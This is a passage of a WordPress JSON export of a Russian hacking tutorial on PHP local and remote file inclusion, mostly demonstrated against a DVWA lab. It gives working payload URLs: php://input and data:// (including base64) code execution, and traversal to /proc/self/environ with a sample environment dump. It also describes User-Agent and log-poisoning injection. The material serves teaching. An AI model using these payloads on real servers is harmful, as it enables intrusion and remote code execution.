href=\"https:\/\/addons.mozilla.org\/ru\/firefox\/addon\/hackbar\/\" target=\"_blank\">HackBar<\/a>, \u0432\u044b \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0438\u043b\u0438 \u043b\u044e\u0431\u0443\u044e \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, curl) \u0443\u043c\u0435\u044e\u0449\u0443\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u043c POST.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<strong>php:\/\/input<\/strong> \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u044b\u0440\u043e\u043c\u0443 \u0442\u0435\u043b\u0443 HTTP \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e include(&quot;php:\/\/input&quot;) \u0434\u0435\u043b\u0430\u0435\u0442, \u043e\u0442\u043a\u0440\u043e\u0439\u0442\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=php:\/\/input\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0410 \u0432 \u0442\u0435\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u044c\u0442\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 PHP \u043a\u043e\u0434 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u0430 POST). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0432\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u0443\u044e \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e!\n<\/p>\n<pre class=\"brush:php;\">\r\n&lt;? phpinfo(); ?&gt;<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/18-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"18\" class=\"alignnone size-full wp-image-1377\" height=\"954\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/18-1.jpg\" width=\"1379\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/18-1.jpg 1379w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/18-1-300x208.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/18-1-768x531.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/18-1-1024x708.jpg 1024w\" sizes=\"(max-width: 1379px) 100vw, 1379px\" \/><\/a>\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0441 data:\/\/<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u041a\u0440\u043e\u043c\u0435 \u044d\u0442\u043e\u0433\u043e, PHP \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 URL-\u0441\u0445\u0435\u043c\u0443 <strong>data:\/\/<\/strong> \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u044f\u043c\u043e \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 GET! \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0442\u0435\u0441\u0442 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438.\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=data:text\/plaintext,&lt;?php phpinfo();?&gt;\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/19-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"19\" class=\"alignnone size-full wp-image-1378\" height=\"624\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/19-1.jpg\" width=\"1325\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/19-1.jpg 1325w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/19-1-300x141.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/19-1-768x362.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/19-1-1024x482.jpg 1024w\" sizes=\"(max-width: 1325px) 100vw, 1325px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u044b \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0432 URL \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u043b\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041d\u043e \u0435\u0441\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0432 base64 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0443:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=data:text\/plain;base64, PD9waHAgcGhwaW5mbygpOyA\/Pg==\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/20-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"20\" class=\"alignnone size-full wp-image-1379\" height=\"607\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/20-1.jpg\" width=\"1384\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/20-1.jpg 1384w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/20-1-300x132.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/20-1-768x337.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/20-1-1024x449.jpg 1024w\" sizes=\"(max-width: 1384px) 100vw, 1384px\" \/><\/a>\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \/proc\/self\/environ<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t<strong>\/proc\/self\/environ<\/strong> &ndash; \u044d\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0415\u0441\u043b\u0438 \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Apache&nbsp;\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u043c\u0443, \u0442\u043e \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043d\u043a\u043b\u0443\u0434 \u0441 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c URL,\n<\/p>\n<p style=\"text-align: justify;\">\n\twww.website.com\/view.php?page=..\/..\/..\/..\/..\/proc\/self\/environ\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0432\u044b\u0432\u0435\u0434\u0435\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435\n<\/p>\n<pre class=\"brush:plain;\">\r\nDOCUMENT_ROOT=\/home\/sirgod\/public_html GATEWAY_INTERFACE=CGI\/1.1 HTTP_ACCEPT=text\/html, application\/xml;q=0.9, application\/xhtml+xml, image\/png, image\/jpeg, image\/gif, image\/x-xbitmap, *\/*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http:\/\/www.website.com\/index.php?view=..\/..\/..\/..\/..\/..\/etc\/passwd HTTP_USER_AGENT=Opera\/9.80 (Windows NT 5.1; U; en) Presto\/2.2.15 Version\/10.00 PATH=\/bin:\/usr\/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=\/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=\/home\/sirgod\/public_html\/index.php SCRIPT_NAME=\/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP\/1.0 SERVER_SIGNATURE=<\/pre>\n<p style=\"text-align: justify;\">\n\t\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 <strong>HTTP_USER_AGENT<\/strong>. \u0412\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 PHP \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/40.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"40\" class=\"alignnone size-full wp-image-1380\" height=\"475\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/40.png\" width=\"863\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/40.png 863w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/40-300x165.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/40-768x423.png 768w\" sizes=\"(max-width: 863px) 100vw, 863px\" \/><\/a>\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u0422\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043b\u043e\u0433\u043e\u0432 \u043f\u0440\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u0438\u043d\u043a\u043b\u0443\u0434\u0435 \u0444\u0430\u0439\u043b\u043e\u0432<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Apache \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0415\u0433\u043e \u0441\u0443\u0442\u044c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u043b\u043e\u0433\u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0443\u0442\u0451\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u044b <strong>User-Agent<\/strong>, \u043b\u0438\u0431\u043e \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0432 GET \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0414\u0430\u043b\u0435\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u0430 \u043b\u043e\u0433\u0430.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u0421\u0442\u0430\u0442\u0438\u0447\u043d\u043e\u0435 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u041f\u0440\u0438\u043c\u0435\u0440 \u0441\u0442\u0430\u0442\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u043a\u043b\u0443\u0434\u0430:\n<\/p>\n<pre class=\"brush:php;\">\r\n&lt;?php include(&quot;http:\/\/192.168.1.10\/config.php&quot;); ?&gt;<\/pre>\n<p style=\"text-align: justify;\">\n\t\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0447\u043d\u044b\u0439 \u0438\u043d\u043a\u043b\u0443\u0434 \u043c\u043e\u0436\u043d\u043e \u0432 \u043e\u0447\u0435\u043d\u044c \u044d\u043a\u0437\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f\u0445. \u0414\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u043a-\u043f\u043e\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438: \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0445\u043e\u0441\u0442\u0438\u0442 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0438\u043d\u043a\u043b\u0443\u0434, \u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u0445\u043e\u0441\u0442\u0438\u0442 \u0444\u0430\u0439\u043b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0438\u043d\u043a\u043b\u0443\u0434\u0430.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u0414\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0445 \u0437\u0434\u0435\u0441\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0422.\u0435. \u043f\u0440\u043e\u0449\u0435 \u0433\u043e\u0432\u043e\u0440\u044f, \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0432\u0441\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0437\u0434\u0435\u0441\u044c \u043c\u0435\u0442\u043e\u0434\u044b \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.<\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>\u0418\u043d\u043e\u0433\u0434\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0438\u043d\u043a\u043b\u0443\u0434\u043e\u043c, \u0438\u043d\u043e\u0433\u0434\u0430 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442 \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c PHP \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 (\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u043a\u043e\u0434\u0430). \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u0432\u0435\u0440\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 (\u0432 PHP) \u0442\u0430\u043a\u0438\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043a\u0430\u043a: require_once, include_once, include, require, \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e&nbsp;\u0438\u0437 \u043d\u0438\u0445 \u0435\u0441\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043d\u044e\u0430\u043d\u0441\u044b, \u043d\u043e \u043e\u0431\u0449\u0435\u0435 \u0443<a href=\"https:\/\/hackware.ru\/?p=1359\" class=\"read-more\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":1377,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[46],"tags":[58,3,54,64,117,118],"class_list":["post-1359","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-46","tag-blackarch","tag-kali-linux","tag-54","tag-64","tag-117","tag-118"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts\/1359"}],"collection":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1359"}],"version-history":[{"count":11,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts\/1359\/revisions"}],"predecessor-version":[{"id":1391,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/posts\/1359\/revisions\/1391"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=\/wp\/v2\/media\/1377"}],"wp:attachment":[{"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1359"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1359"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackware.ru\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1359"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}